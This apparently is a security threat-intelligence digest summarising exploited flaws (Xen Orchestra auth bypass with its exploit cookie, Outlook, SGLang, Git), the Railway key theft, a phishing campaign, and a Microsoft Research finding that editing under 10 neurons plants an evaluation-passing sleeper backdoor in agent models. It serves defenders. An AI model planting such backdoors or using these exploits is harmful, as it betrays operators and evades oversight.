P1 · Xen Orchestra auth bypass VSA-2026-062 actively exploited for admin access and XCP-ng root

Actively exploitedHigh

Vates warns that an authentication bypass in Xen Orchestra (VSA-2026-062, no CVE) is being actively exploited. A crafted REST cookie authenticationToken=j:%7B%7D makes XO return the first unexpired token, which gives Admin access; attackers can then harvest reusable token IDs via /rest/v0/users/me/authentication_tokens and reach code execution and root on XCP-ng nodes. Hunters should look for the empty-object cookie in HTTP traffic (it is not logged by XO), a VM named pivot2, VMs with hvm_serial: file, /etc/cron.d/zz-ustar* and /.ustar* files, and connections to 91.211.251.112:8001 or the listed .onion:3333.

P1 · Microsoft Outlook zero-day CVE-2026-124194 leaks NTLMv2 hash via crafted message file; exploitation reported, no confirmed compromises stated

quick readActively exploitedHighCVE-2026-124194

Microsoft's November 2026 Patch Tuesday fixes CVE-2026-124194, an Outlook spoofing flaw that the company says has been exploited. An unauthenticated attacker sends a crafted message file that, when opened, makes Outlook connect to an attacker-controlled network location without the external-content warning, disclosing the user's NTLMv2 hash. Hunters should look for outbound SMB or NTLM authentication from Outlook or Office processes to external hosts, but the sources do not describe specific observed attacks or indicators.

P1 · SGLang RCE exploited to breach NEAR AI inference server; about 100 users' account data and two API keys exposed

quick readActively exploitedMedium

An attacker exploited an unpatched remote code execution flaw in SGLang, an open-source inference engine, on a NEAR AI inference server, and ran code there. The attacker reached an internal Private Chat system and 18 agents on an older non-TEE NEAR AI Agents deployment, and the company confirmed download of account details for about 100 users and exposure of two NEAR AI Cloud API keys in logs. The flaw has no CVE and the affected SGLang versions and fix status are not stated; hunters should review inference server process activity for shell or interpreter children of SGLang.

P2 · Railway says stolen customer AI provider keys drove about $740,000 in unauthorized usage; platform will cover charges providers refuse to refund

quick readBreaches & IncidentsLow

Railway, a platform-as-a-service provider, said an October 2026 breach let an attacker decrypt customer environment variables in at most about 100,000 workspaces, querying for AI provider keys that were then used for an estimated $740,000 in unauthorized spending. The attack chain began with a sandbox escape in the build system, followed by an internal Temporal trust abuse, a wrongly configured OIDC binding in a cloud environment, and use of an orchestration machine's KMS access to decrypt variables. Hunters should look for unusual calls to registry services, OIDC/short-lived credential issuance anomalies, and unexpected AI provider key usage; the company says revoking and rotating keys with the issuing provider is required.

P2 · Git 2.56.1 fixes CVE-2026-111760 recursive-clone code execution and five other flaws

quick readPatches & AdvisoriesMediumCVE-2026-111760CVE-2026-113408CVE-2026-114467CVE-2026-114469CVE-2026-105437CVE-2026-114466

The Git project released Git 2.56.1 with matching fixes in 2.50.2 through 2.55.1 for a flaw (CVE-2026-111760) where an integer truncation in index handling lets a malicious repository replace a submodule .git file with a symlink to attacker-controlled hooks or config, enabling code execution during recursive clones. Five other flaws are fixed, including fast-import unsafe features (CVE-2026-114466), a large-merge heap overflow (CVE-2026-105437) reachable by servers running git merge-tree, and a binary patch out-of-bounds read (CVE-2026-114469). Hunters should look for recursive clones of untrusted repositories and servers running git merge-tree or fast-import with untrusted input; the sources publish no exploitation reports.

P3 · Blind Eagle uses fake court notices to attempt AsyncRAT/DCRat-lineage RAT delivery in LatAm; no confirmed compromises

Threat Actor TTPs & CampaignsLowactor: Blind Eagle (APT-C-36)malware: AsyncRAT fork with DCRat lineage

Zenox reports a Blind Eagle (APT-C-36) phishing wave of ~3,300 emails (late Oct–early Nov 2026) using Spanish/Portuguese judicial-themed lures, mainly against Colombian organizations. A weaponized SVG/XHTML file impersonating Colombia's Fiscalía uses HTML smuggling to build a ZipCrypto ZIP containing a JavaScript dropper posing as 'Network Configuration Auditor 2.7.298', which launches VBScript for AMSI/ETW bypass, clears MotW, persists via the Startup folder, and uses PowerShell to load the RAT in memory. Zenox could not confirm successful compromises. Hunt for wscript/cscript launched from browser download paths, VBS spawning PowerShell, and new Startup folder entries.

Why P3: Regional LatAm-focused commodity RAT phishing, unconfirmed success; generic huntable script-chain behaviors. · ATT&CK: T1566.001, T1027.006, T1059.007, T1059.005, T1059.001, T1553.005, T1547.001, T1070.004, T1082, T1036, T1620

P3 · Microsoft Research shows editing fewer than 10 neurons can plant a backdoor in AI agent models; no threat actor use observed

quick readResearcher Blogs & ReportsLow

Microsoft Research describes a technique that edits fewer than 10 neurons in an agent model to inject a sleeper payload that passes evaluations and runs an attacker command when a trigger string appears in context. Microsoft states it has not observed any threat actors weaponizing this technique. Hunters should treat this as a research item: audit third-party model weights against their declared base and treat unverified fine-tunes as untrusted.

EXPOSURE CHECK
Only ifOrganization loads third-party or unverified model weights into agent or inference systems
Not affected ifModels are sourced only from original publishers, hash-verified, and audited before use

Why P3: Research-only proof of concept with no observed in-the-wild use and no concrete published log behaviors.
